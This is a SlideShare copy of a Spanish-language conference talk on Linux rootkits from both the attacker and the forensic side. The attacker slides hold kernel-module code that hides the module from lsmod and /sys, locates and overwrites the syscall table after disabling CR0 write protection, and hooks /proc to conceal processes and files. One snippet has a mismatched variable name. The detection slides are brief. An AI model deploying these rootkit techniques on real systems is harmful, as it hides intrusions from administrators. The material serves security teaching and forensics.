SlideShare une entreprise Scribd logo
1  sur  30
Télécharger pour lire hors ligne
Hide and Find Rootkits in Linux




                       Hide and Find Rootkits in Linux
                                  Forensics and Attack Strategies


                                    NataS::: The Lord of Chaos
                                  Marcos Ricardo Schejtman Rubio




                                        20 de Abril de 2012
Hide and Find Rootkits in Linux




Contents
       1   Introducci´n
                     o
               Definiciones
               Tipos de Rootkits
               Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
               M´todos de Ataque
                e
               Kernel Hacking
               task struct modification
       3   La Perspectiva Forense
               M´todos de Detecci´n
                e                o
       4   The End
Hide and Find Rootkits in Linux
  Introducci´n
            o
     Definiciones


Introducci´n
          o
       1   Introducci´n
                     o
                 Definiciones
                 Tipos de Rootkits
                 Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
                 M´todos de Ataque
                  e
                 Kernel Hacking
                 task struct modification
       3   La Perspectiva Forense
                 M´todos de Detecci´n
                  e                o
       4   The End
Hide and Find Rootkits in Linux
  Introducci´n
            o
     Definiciones


¿Qu´ es un Rootkit?
   e



      Un rootkit (seg´n Wikipedia), se puede definir como:
                     u

              Un programa que permite un acceso de privilegio
              continuo a una computadora pero que mantiene su
              presencia activamente oculta al control de los
              administradores al corromper el funcionamiento normal
              del sistema operativo o de otras aplicaciones.
Hide and Find Rootkits in Linux
  Introducci´n
            o
     Tipos de Rootkits


Tipos de Rootkits


      Practicamente podemos hablar de dos tipos de rootkits:



          1   Rootkits en Espacio de Usuario, Los cuales corren en
              Ring-3, y modifican librer´ o archivos de configuraci´n, e
                                          ıas,                   o
              inclusive ejecutables (ls, ps, etc).
          2   Rootkits en Espacio de Kernel, Los cuales corren en
              Ring-0, y modifican estructuras del kernel, atrapan llamadas
              de sistema (hijacking syscall-table), etc. Podemos tenerlos
              como LKM’s o como patch al kernel corriendo /dev/kmem
Hide and Find Rootkits in Linux
  Introducci´n
            o
     Funciones Comunes de Rootkits


Funciones Comunes de Rootkits



              Esconder Procesos
              Esconder Archivos
              Esconder Conexiones de Red
              Backdoors
              Keyloggers
              Darnos acceso a root
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     M´todos de Ataque
      e


Introducci´n
          o
       1   Introducci´n
                     o
               Definiciones
               Tipos de Rootkits
               Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
               M´todos de Ataque
                e
               Kernel Hacking
               task struct modification
       3   La Perspectiva Forense
               M´todos de Detecci´n
                e                o
       4   The End
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     M´todos de Ataque
      e


M´todos de Ataque
 e

              Modificaci´n de las estructuras de datos (la misma que
                         o
              contiene los procesos corriendo en el sistema actualmente).
              Interceptando las llamadas a sistema mediante la modificaci´n
                                                                        o
              de la tabla de llamadas o del handler de cierta syscall
              (Dinamyc or Static Hijacking).
              Interrupt Hooking, modificando la tabla de descriptores de las
              interrupciones (IDT) 0x80.
              Modificando la memoria del kernel (/dev/kmem).
              Interceptando el manejo de llamadas del VFS (/proc /sys)
              Virtual Memory Subversion, un ataque novedoso para
              presentar vistas de la memoria de los procesos.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Introducci´n
          o
       1   Introducci´n
                     o
               Definiciones
               Tipos de Rootkits
               Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
               M´todos de Ataque
                e
               Kernel Hacking
               task struct modification
       3   La Perspectiva Forense
               M´todos de Detecci´n
                e                o
       4   The End
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Escondiendo desde el Kernel


   The Ring Model                 Intel tiene cuatro anillos
                                  MS Windows y otros,
                                  manejan solo dos.
                                  Usando solo dos niveles de
                                  privilegios, no hay separaci´n
                                                              o
                                  entre el kernel y los drivers
                                  (root es tambi´n ring-3).
                                                  e
                                  Los drivers pueden modificar
                                  la memoria asociada con
                                  objetos del kernel... tales
                                  como aquellos que
                                  representan un proceso.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Introduciendo al LKM

              Las comunicaciones entre el espacio de usuario (ring-3), y el
              espacio del kernel (ring-0), se hacen mediante archivos.
              Debido al punto anterior, existe y conocemos /proc, /sys,
              /dev. Dichos directorios solo existen en RAM.
              Llamadas a sistemas, est´n guardadas en una tabla especial
                                      a
              (sys call table).
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Consideraciones

      Las diferencias m´s importantes entre un desarrollo a n´ kernel o
                       a                                     ıvel
      espacio usuario son:
              El kernel carece de protecci´n de memoria... algo que se
                                          o
              ofrece en el espacio de usuario.
              El kernel no puede ejecutar de manera sencilla operaciones en
              punto flotante.
              El kernel tiene un espacio en pila muy reducido por proceso.
              Debido a la naturaleza as´ıncrona de las interrupciones del
              kernel, la concurrencia es de los temas a poner mas ´nfasis al
                                                                   e
              desarrollar (Race-Conditions).
              La potabilidad... entre versi´n y versi´n de n´cleo.
                                           o         o      u
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Hidding the Module

              El kernel maneja un lista enlazada en la cual, mantiene la
              referencia de todos los m´dulos que est´n cargados (lsmod y
                                       o              a
              /proc leen dicha lista).
              Esconder nuestro m´dulo es muy sencillo, en la funci´n de
                                  o                                 o
              inicio del m´dulo basta con eliminar la referencia de la lista:
                          o
              list_del(&THIS_MODULE->list);
              Dos problemas con esta primer aproximaci´n:
                                                      o
                  1   A´n somos detectables desde /sys
                       u
                  2   Al hacer un unload del m´dulo, debido a que no existe en la
                                                o
                      lista, se provoca un Oops que genera un kernel panic o crash
                      del sistema, dejando rastros.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Hidding the Module
              Cada entrada en /sys es un objeto module kobject (definido
              en module.h) que internamente tienen una estructura del tipo
              kobject (definido en kobject.h).
              Examinando el c´digo del kernel, vemos que en la descarga del
                              o
              m´dulo, primero debemos eliminarnos de /sys y
               o
              posteriormente de la vista.
              Hay que tomar en cuenta, que el kernel no libera objetos que
              est´n iniciado a NULL
                 e
              Recomendaciones:
                  1   Recordar informaci´n previa (prev y next en la lista).
                                        o
                  2   Sobreescribir readproc y writeproc
                  3   Funciones est´ticas para no dejar rastros en /proc/kallsyms
                                   a
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     Kernel Hacking


Hidding the Module: A little taste
      static inline void natas_hide(void) {
      list_del(&THIS_MODULE->list);
      kobject_del(&THIS_MODULE->mkobj.kobj);
      list_del(&THIS_MODULE->mkobj.kobj.entry);
      kfree(THIS_MODULE->notes_attrs);
      THIS_MODULE->notes_attrs = NULL;
      kfree(THIS_MODULE->sect_attrs);
      THIS_MODULE->sect_attrs = NULL;
      kfree(THIS_MODULE->mkobj.mp);
      THIS_MODULE->mkobj.mp = NULL;
      THIS_MODULE->modinfo_attrs->attr.name = NULL;
      kfree(THIS_MODULE->mkobj.drivers_dir);
      THIS_MODULE->mkobj.drivers_dir = NULL;
      }
      static int __init natas_init(void) {
      /*Inicializaciones del modulo*/
      ...
      natas_hide();
      return 0;
      }
      module_init(natas_init);
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Introducci´n
          o
       1   Introducci´n
                     o
               Definiciones
               Tipos de Rootkits
               Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
               M´todos de Ataque
                e
               Kernel Hacking
               task struct modification
       3   La Perspectiva Forense
               M´todos de Detecci´n
                e                o
       4   The End
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


task struct modification: Overview
      El kernel de linux contiene una lista enlazada (definida en
      include/linux/types.h e include/linux/list.h) de tareas, las cuales
      son una estructura declarada en include/linux/sched.h.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


task struct modification: Hidding
      Esconder un proceso no es m´s que eliminar la tarea de los
                                   a
      punteros prev y next de la lista tasks.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


task struct modification: Issues


              La eliminaci´n de las referencias en next y prev, ocasionan que
                          o
              el scheduler no vea el proceso que escondimos.
              Si el scheduler no ve el proceso, no le asigna tiempo de CPU,
              ocasionando que la tarea se congele.
              Adicional, es preciso modificar el scheduler para que asigne
              tiempo al proceso padre del PID 0 (init).
      ¿Es posible encontrar el proceso? S´ Usando gdb, conociendo
                                          ı.
      nuestra arquitectura y cuanto pesa nuestra task struct. A partir de
      ah´ y haciendo uso de System.map, /dev/kcore y la imagen es
        ı
      posible recrear la tabla de procesos.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Hijacking Syscall

      Interrupciones a llamadas de sistema se usan para evitar accesos a
      procesos o archivos generados por nosotros.

   syscall                               natas_open(pathname, flags, mode) {
                                         if (XXX==XXX)
                                            call open(pathname, flags, mode)
                                         else
                                            printf("Not found");
                                         }
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Dinamyc Hijacking
      La direcci´n de la sys call table, puede ser encontrada en el archivo
                o
      System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
      archivo?
      El rango de memoria del kernel en arquitecturas X86 es del
      0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
      basta con buscar hasta la 0xd0000000 ¿porque?
      CONFIG HIGHMEM.
      Para x86 64 podemos encontrar el inicio de la memoria del kernel
      en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
      es de destacar que igual que en la arquitectura de 32Bits, no
      debemos iterar todas las direcciones, basta iterar hasta
      0xffffffff81ffffff.
      Finalmente... solo basta comparar alguna sys call cuyos s´
                                                               ımbolos se
      exporten, sys close por ejemplo.
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Dinamyc Hijacking

      #if defined __x86_64__
      #define START_MEM 0xffffffff81000000
      #define END_MEM 0xffffffff81ffffff
      #else
      #define START_MEM 0xc0000000
      #define END_MEM 0xd0000000
      #endif
      unsigned long **find_syscalltable() {
              unsigned long **syscalltable;
              unsigned long int i = START_MEM;
              while ( i < END_MEM) {
                      sctable = (unsigned long **)i;
                      if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
                              return &syscalltable[0];
                      }
                      i += sizeof(void *);
              }
              return NULL;
      }
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Dinamyc Hijacking

      Pero la sys call table esta protegida contra escritura ¿o no? Existen
      diferentes registros de procesador, el que nos interesa es el cr0. El
      kernel nos da dos funciones para manipular este registro: write cr0
      y read cr0.
      El Bit 0 de este registro maneja el Protected Mode, por ello se
      llama WP bit. Solo basta modificar este bit antes y despu´s del
                                                               e
      hijacking
      write_cr0 (read_cr0 () & (~ 0x10000));
      printk(KERN_ALERT "nWrite Protection Disabled XD");
      original_write = (void *)syscall_table[__NR_write];
      syscall_table[__NR_write] = new_write;
      write_cr0 (read_cr0 () | 0x10000);
      printk(KERN_ALERT "nWrite Protection Enabled");
      /*
       0X10000 --> 000...010000000000000000
      ~(0X10000) --> 111...101111111111111111
      */
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Hijacking VFS

      Interrupciones a llamadas de sistema se usan para evitar accesos a
      procesos o archivos generados por nosotros.

   syscall                               natas_lookup(parent_directory,
                                         pathname, ...) {
                                         if (XXX==XXX)
                                           call real_lookup(parent_directory,
                                              pathname, ...)
                                         else
                                           printf("Error");
                                         }
Hide and Find Rootkits in Linux
  La perspectiva del Atacante
     task struct modification


Hijacking VFS
      struct inode *pinode;
      const struct file_operations *proc_original;
      static struct file_operations proc_fops;
      void hook_proc(struct proc_dir_entry *root) {
          struct path proc_path;
          if (kern_path("/proc/",0,&proc_path))
              return;
          pinode = proc_path.dentry->d_inode;
          if(!pinode)
              return;
          proc_fops = *pinode->i_fop;
          proc_original = pinode->i_fop;
          proc_fops.readdir = natas_lookup;
          pinode->i_fop = &proc_fops;
      }
Hide and Find Rootkits in Linux
  La Perspectiva Forense
     M´todos de Detecci´n
      e                o


Introducci´n
          o
       1   Introducci´n
                     o
               Definiciones
               Tipos de Rootkits
               Funciones Comunes de Rootkits
       2   La perspectiva del Atacante
               M´todos de Ataque
                e
               Kernel Hacking
               task struct modification
       3   La Perspectiva Forense
               M´todos de Detecci´n
                e                o
       4   The End
Hide and Find Rootkits in Linux
  La Perspectiva Forense
     M´todos de Detecci´n
      e                o


M´todos de Detecci´n
 e                o


              Comparando la tabla de S´   ımbolos, Cada cierto tiempo se
              realizar comparaciones con la tabla de Sistema original
              (System.map) con la actual tabla.
              An´lisis de Binarios, desde m´todos tan sencillos como
                 a                            e
              constantes revisiones de la suma MD5, hasta utilizaci´n de
                                                                     o
              trazas y visualizaci´n de estructuras de datos sobre el kernel.
                                  o
              An´lisis del Path de Ejecuci´n, Un rotkit modifica el
                a                           o
              camino de ejecuci´n de una llamada a sistema
                               o
Hide and Find Rootkits in Linux
  La Perspectiva Forense
     M´todos de Detecci´n
      e                o


Path Analysis
Hide and Find Rootkits in Linux
  La Perspectiva Forense
     M´todos de Detecci´n
      e                o


M´todos de Detecci´n
 e                o
      root@alien-natas:~# dmesg | grep -i task
      [    3.082767] registered taskstats version 1
      [ 251.622695] My task_struct --> 1048
      root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D
      c13d8fe0 D init_task
      root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore
      Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae
      root=/dev/mapper/sda2_crypt ro single’.
      #0 0x00000000 in ?? ()
      (gdb) x/262wx 0xc13d8fe0
      0xc13d8fe0:     0x00000000      0xc13d2000      0x00000002      0x00200000
      0xc13d8ff0:     0x00000000      0x00000000      0x00000001      0x00000000
      0xc13d9000:     0x00000078      0x00000078      0x00000078      0x00000000
      0xc13d9010:     0xc12c3404      0x00000400      0x00400000      0x00000000
      0xc13d9020:     0x00000000      0x00000000      0xc13d9028      0xc13d9028
      0xc13d9030:     0x00000000      0x00000000      0x00000000      0x00000000
      0xc13d9040:     0x00000000      0x00000000      0x00000000      0x00000000
      0xc13d9050:     0x00000000      0x00000000      0x00000000      0x00000000
      0xc13d9060:     0xf7607a04      0x00000000      0xc13d9068      0xc13d9068
      0xc13d9070:     0x00000000      0x000000fa      0x00000001      0x00000000
      0xc13d9080:     0x00000000      0x00000000      0x00000000      0x00000000
Hide and Find Rootkits in Linux
  The End




Greetings

      Gr33tz!!

        @nitr0usmx                        @preth00nker
        @ hkm                             @ tty0
        @calderpwn                        @psymera
        @ch1rx                            @napa topos
      —————————————————————————–
      Autor: Marcos Ricardo Schejtman Rubio
      E-Mail: natashell@esdebian.org
      Twitter: @natashell666
        5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
                                  A
                                  LTEX para todos

Contenu connexe

En vedette

Criptograía vs Esteganografía
Criptograía vs EsteganografíaCriptograía vs Esteganografía
Criptograía vs EsteganografíaJaime Restrepo
 
Dilema de seguridad actual
Dilema de seguridad actualDilema de seguridad actual
Dilema de seguridad actualJaime Restrepo
 
Analisis forense en dispositivos iOS taller
Analisis forense en dispositivos iOS tallerAnalisis forense en dispositivos iOS taller
Analisis forense en dispositivos iOS tallerJaime Restrepo
 
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014Jaime Restrepo
 
CSRF: El "Nuevo" Target - Juan David Castro
CSRF: El "Nuevo" Target - Juan David CastroCSRF: El "Nuevo" Target - Juan David Castro
CSRF: El "Nuevo" Target - Juan David CastroJaime Restrepo
 
DragonJAR TV Episodio 5 - Malware Edition
DragonJAR TV Episodio 5 - Malware EditionDragonJAR TV Episodio 5 - Malware Edition
DragonJAR TV Episodio 5 - Malware EditionJaime Restrepo
 
Endian una solucion free de seguridad
Endian una solucion free de seguridadEndian una solucion free de seguridad
Endian una solucion free de seguridadJaime Restrepo
 
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datos
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datosPd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datos
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datosHeidy Balanta
 
Charla perito informático dragonjar tv
Charla perito informático dragonjar tvCharla perito informático dragonjar tv
Charla perito informático dragonjar tvJaime Restrepo
 
Presentacion dragon jartv-final
Presentacion dragon jartv-finalPresentacion dragon jartv-final
Presentacion dragon jartv-finalJaime Restrepo
 
Seguridad en Dispositivos Móviles
Seguridad en Dispositivos MóvilesSeguridad en Dispositivos Móviles
Seguridad en Dispositivos MóvilesJaime Restrepo
 
Identificación y análisis de patrones de trafico malicioso en redes ip
Identificación y análisis de patrones de trafico malicioso en redes ipIdentificación y análisis de patrones de trafico malicioso en redes ip
Identificación y análisis de patrones de trafico malicioso en redes ipJaime Restrepo
 
Manejo de la Evidencia Digital
Manejo de la Evidencia DigitalManejo de la Evidencia Digital
Manejo de la Evidencia DigitalJaime Restrepo
 
DragonJAR TV Episodio 8 - Experiencias en Consultoria
DragonJAR TV Episodio 8 - Experiencias en Consultoria DragonJAR TV Episodio 8 - Experiencias en Consultoria
DragonJAR TV Episodio 8 - Experiencias en Consultoria Jaime Restrepo
 
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...Jaime Restrepo
 

En vedette (20)

Guadalajara con
Guadalajara conGuadalajara con
Guadalajara con
 
Criptograía vs Esteganografía
Criptograía vs EsteganografíaCriptograía vs Esteganografía
Criptograía vs Esteganografía
 
USB Hacking
USB HackingUSB Hacking
USB Hacking
 
Dilema de seguridad actual
Dilema de seguridad actualDilema de seguridad actual
Dilema de seguridad actual
 
Click Jacking
Click JackingClick Jacking
Click Jacking
 
Analisis forense en dispositivos iOS taller
Analisis forense en dispositivos iOS tallerAnalisis forense en dispositivos iOS taller
Analisis forense en dispositivos iOS taller
 
Routerpwn
RouterpwnRouterpwn
Routerpwn
 
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014
Ya están aquí, seguridad fisica - DragonJAR Security Conference 2014
 
CSRF: El "Nuevo" Target - Juan David Castro
CSRF: El "Nuevo" Target - Juan David CastroCSRF: El "Nuevo" Target - Juan David Castro
CSRF: El "Nuevo" Target - Juan David Castro
 
Rompiendo llaves RSA
Rompiendo llaves RSARompiendo llaves RSA
Rompiendo llaves RSA
 
DragonJAR TV Episodio 5 - Malware Edition
DragonJAR TV Episodio 5 - Malware EditionDragonJAR TV Episodio 5 - Malware Edition
DragonJAR TV Episodio 5 - Malware Edition
 
Endian una solucion free de seguridad
Endian una solucion free de seguridadEndian una solucion free de seguridad
Endian una solucion free de seguridad
 
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datos
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datosPd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datos
Pd modificación art._2.2.2.26.3.1_registro_nacional_bases_de_datos
 
Charla perito informático dragonjar tv
Charla perito informático dragonjar tvCharla perito informático dragonjar tv
Charla perito informático dragonjar tv
 
Presentacion dragon jartv-final
Presentacion dragon jartv-finalPresentacion dragon jartv-final
Presentacion dragon jartv-final
 
Seguridad en Dispositivos Móviles
Seguridad en Dispositivos MóvilesSeguridad en Dispositivos Móviles
Seguridad en Dispositivos Móviles
 
Identificación y análisis de patrones de trafico malicioso en redes ip
Identificación y análisis de patrones de trafico malicioso en redes ipIdentificación y análisis de patrones de trafico malicioso en redes ip
Identificación y análisis de patrones de trafico malicioso en redes ip
 
Manejo de la Evidencia Digital
Manejo de la Evidencia DigitalManejo de la Evidencia Digital
Manejo de la Evidencia Digital
 
DragonJAR TV Episodio 8 - Experiencias en Consultoria
DragonJAR TV Episodio 8 - Experiencias en Consultoria DragonJAR TV Episodio 8 - Experiencias en Consultoria
DragonJAR TV Episodio 8 - Experiencias en Consultoria
 
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...
Pentest: Técnicas alternativas para un cliente “experimentado” – Nelson Boris...
 

Similaire à Hide and Find Rootkits Linux

Unidad 9 - Instalación y configuración Linux
Unidad 9 - Instalación y configuración LinuxUnidad 9 - Instalación y configuración Linux
Unidad 9 - Instalación y configuración Linuxvverdu
 
Portafolio de evidencias
Portafolio de evidenciasPortafolio de evidencias
Portafolio de evidenciaseduardoamaya30
 
Mitos y-realidades-linux-y-los-virus
Mitos y-realidades-linux-y-los-virusMitos y-realidades-linux-y-los-virus
Mitos y-realidades-linux-y-los-virusGilmar Campana Quispe
 
Actividad No. 2.4- Ataque contra contraseñas de sistemas Linux
Actividad No. 2.4- Ataque contra contraseñas de sistemas LinuxActividad No. 2.4- Ataque contra contraseñas de sistemas Linux
Actividad No. 2.4- Ataque contra contraseñas de sistemas LinuxFrancisco Medina
 
Rootkits & Spyware
Rootkits & SpywareRootkits & Spyware
Rootkits & Spywarezapotteco
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisiolaloblog
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisiolaloblog
 
Proteccion y Seguridad en los Sistemas Operativos
Proteccion y Seguridad en los Sistemas OperativosProteccion y Seguridad en los Sistemas Operativos
Proteccion y Seguridad en los Sistemas OperativosEduardo Gomez
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisiolaloblog
 
Actividad internet
Actividad internetActividad internet
Actividad internetLERUAR
 
Sistemas operativos pao
Sistemas operativos paoSistemas operativos pao
Sistemas operativos paoPAOLASKR
 
Sistema operativos
Sistema operativosSistema operativos
Sistema operativospifiter31
 
So 03-estructura del so-6x1
So 03-estructura del so-6x1So 03-estructura del so-6x1
So 03-estructura del so-6x1Javier Magne
 

Similaire à Hide and Find Rootkits Linux (20)

Rootkit
RootkitRootkit
Rootkit
 
Unidad 9 - Instalación y configuración Linux
Unidad 9 - Instalación y configuración LinuxUnidad 9 - Instalación y configuración Linux
Unidad 9 - Instalación y configuración Linux
 
Curso linux operación
Curso linux operaciónCurso linux operación
Curso linux operación
 
Portafolio de evidencias
Portafolio de evidenciasPortafolio de evidencias
Portafolio de evidencias
 
Mitos y-realidades-linux-y-los-virus
Mitos y-realidades-linux-y-los-virusMitos y-realidades-linux-y-los-virus
Mitos y-realidades-linux-y-los-virus
 
Actividad No. 2.4- Ataque contra contraseñas de sistemas Linux
Actividad No. 2.4- Ataque contra contraseñas de sistemas LinuxActividad No. 2.4- Ataque contra contraseñas de sistemas Linux
Actividad No. 2.4- Ataque contra contraseñas de sistemas Linux
 
Seguridad so pi_2011
Seguridad so pi_2011Seguridad so pi_2011
Seguridad so pi_2011
 
Rootkits & Spyware
Rootkits & SpywareRootkits & Spyware
Rootkits & Spyware
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisio
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisio
 
Proteccion y Seguridad en los Sistemas Operativos
Proteccion y Seguridad en los Sistemas OperativosProteccion y Seguridad en los Sistemas Operativos
Proteccion y Seguridad en los Sistemas Operativos
 
Seguridad linux 2011
Seguridad linux 2011Seguridad linux 2011
Seguridad linux 2011
 
Portafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisioPortafolio de evidencias1 dionisio
Portafolio de evidencias1 dionisio
 
Actividad internet
Actividad internetActividad internet
Actividad internet
 
Sistemas operativos pao
Sistemas operativos paoSistemas operativos pao
Sistemas operativos pao
 
Sistema operativos
Sistema operativosSistema operativos
Sistema operativos
 
Clúster
ClústerClúster
Clúster
 
Kernel
KernelKernel
Kernel
 
Nfs
NfsNfs
Nfs
 
So 03-estructura del so-6x1
So 03-estructura del so-6x1So 03-estructura del so-6x1
So 03-estructura del so-6x1
 

Plus de Jaime Restrepo

I Know You ( iKy OSINT Tool )
I Know You ( iKy OSINT Tool )I Know You ( iKy OSINT Tool )
I Know You ( iKy OSINT Tool )Jaime Restrepo
 
i fought the law and the law lost
i fought the law and the law losti fought the law and the law lost
i fought the law and the law lostJaime Restrepo
 
How to build a powerfull open source soc4
How to build a powerfull open source soc4How to build a powerfull open source soc4
How to build a powerfull open source soc4Jaime Restrepo
 
Zer 0 no zer(0 day) dragon jar
Zer 0 no zer(0 day)   dragon jarZer 0 no zer(0 day)   dragon jar
Zer 0 no zer(0 day) dragon jarJaime Restrepo
 
Alta seguridad para clusters críticos
Alta seguridad para clusters críticosAlta seguridad para clusters críticos
Alta seguridad para clusters críticosJaime Restrepo
 
Bogotá Wardriving (Spanish)
Bogotá Wardriving (Spanish)Bogotá Wardriving (Spanish)
Bogotá Wardriving (Spanish)Jaime Restrepo
 
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...Jaime Restrepo
 
WordPress, another terror story (Spanish)
WordPress, another terror story (Spanish)WordPress, another terror story (Spanish)
WordPress, another terror story (Spanish)Jaime Restrepo
 
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/Linux
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/LinuxHunting Buffer Overflow. A la caza de funciones inseguras en GNU/Linux
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/LinuxJaime Restrepo
 
Hackeando el mundo exterior a través de Bluetooth Low-Energy
Hackeando el mundo exterior a través de Bluetooth Low-EnergyHackeando el mundo exterior a través de Bluetooth Low-Energy
Hackeando el mundo exterior a través de Bluetooth Low-EnergyJaime Restrepo
 
Memorias perito vol_7_dragonjar_con
Memorias perito vol_7_dragonjar_conMemorias perito vol_7_dragonjar_con
Memorias perito vol_7_dragonjar_conJaime Restrepo
 
Cloud native security en tiempo de coronavirus dragon jar
Cloud native security en tiempo de coronavirus dragon jarCloud native security en tiempo de coronavirus dragon jar
Cloud native security en tiempo de coronavirus dragon jarJaime Restrepo
 
Analysis of time windows to detect botnets behaviours
Analysis of time windows to detect botnets behavioursAnalysis of time windows to detect botnets behaviours
Analysis of time windows to detect botnets behavioursJaime Restrepo
 
Bug Bounty Experiences (Spanish)
Bug Bounty Experiences (Spanish)Bug Bounty Experiences (Spanish)
Bug Bounty Experiences (Spanish)Jaime Restrepo
 
Threat intel malware_analysis
Threat intel malware_analysisThreat intel malware_analysis
Threat intel malware_analysisJaime Restrepo
 
Bugbounty en Español, todo lo que no te han dicho
Bugbounty en Español, todo lo que no te han dichoBugbounty en Español, todo lo que no te han dicho
Bugbounty en Español, todo lo que no te han dichoJaime Restrepo
 
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el Terrorismo
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el TerrorismoTécnicas de Inteligencia en la lucha contra el Crimen Organizado y el Terrorismo
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el TerrorismoJaime Restrepo
 
Gestión del tiempo en tiempos del COVID-19
Gestión del tiempo en tiempos del COVID-19Gestión del tiempo en tiempos del COVID-19
Gestión del tiempo en tiempos del COVID-19Jaime Restrepo
 
Busy Tone Vulnerable PBX
Busy Tone Vulnerable PBXBusy Tone Vulnerable PBX
Busy Tone Vulnerable PBXJaime Restrepo
 

Plus de Jaime Restrepo (19)

I Know You ( iKy OSINT Tool )
I Know You ( iKy OSINT Tool )I Know You ( iKy OSINT Tool )
I Know You ( iKy OSINT Tool )
 
i fought the law and the law lost
i fought the law and the law losti fought the law and the law lost
i fought the law and the law lost
 
How to build a powerfull open source soc4
How to build a powerfull open source soc4How to build a powerfull open source soc4
How to build a powerfull open source soc4
 
Zer 0 no zer(0 day) dragon jar
Zer 0 no zer(0 day)   dragon jarZer 0 no zer(0 day)   dragon jar
Zer 0 no zer(0 day) dragon jar
 
Alta seguridad para clusters críticos
Alta seguridad para clusters críticosAlta seguridad para clusters críticos
Alta seguridad para clusters críticos
 
Bogotá Wardriving (Spanish)
Bogotá Wardriving (Spanish)Bogotá Wardriving (Spanish)
Bogotá Wardriving (Spanish)
 
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...
IoT Cyber Attacks: Comprometiendo la Ciberseguridad de Gasolineras en Latinoa...
 
WordPress, another terror story (Spanish)
WordPress, another terror story (Spanish)WordPress, another terror story (Spanish)
WordPress, another terror story (Spanish)
 
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/Linux
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/LinuxHunting Buffer Overflow. A la caza de funciones inseguras en GNU/Linux
Hunting Buffer Overflow. A la caza de funciones inseguras en GNU/Linux
 
Hackeando el mundo exterior a través de Bluetooth Low-Energy
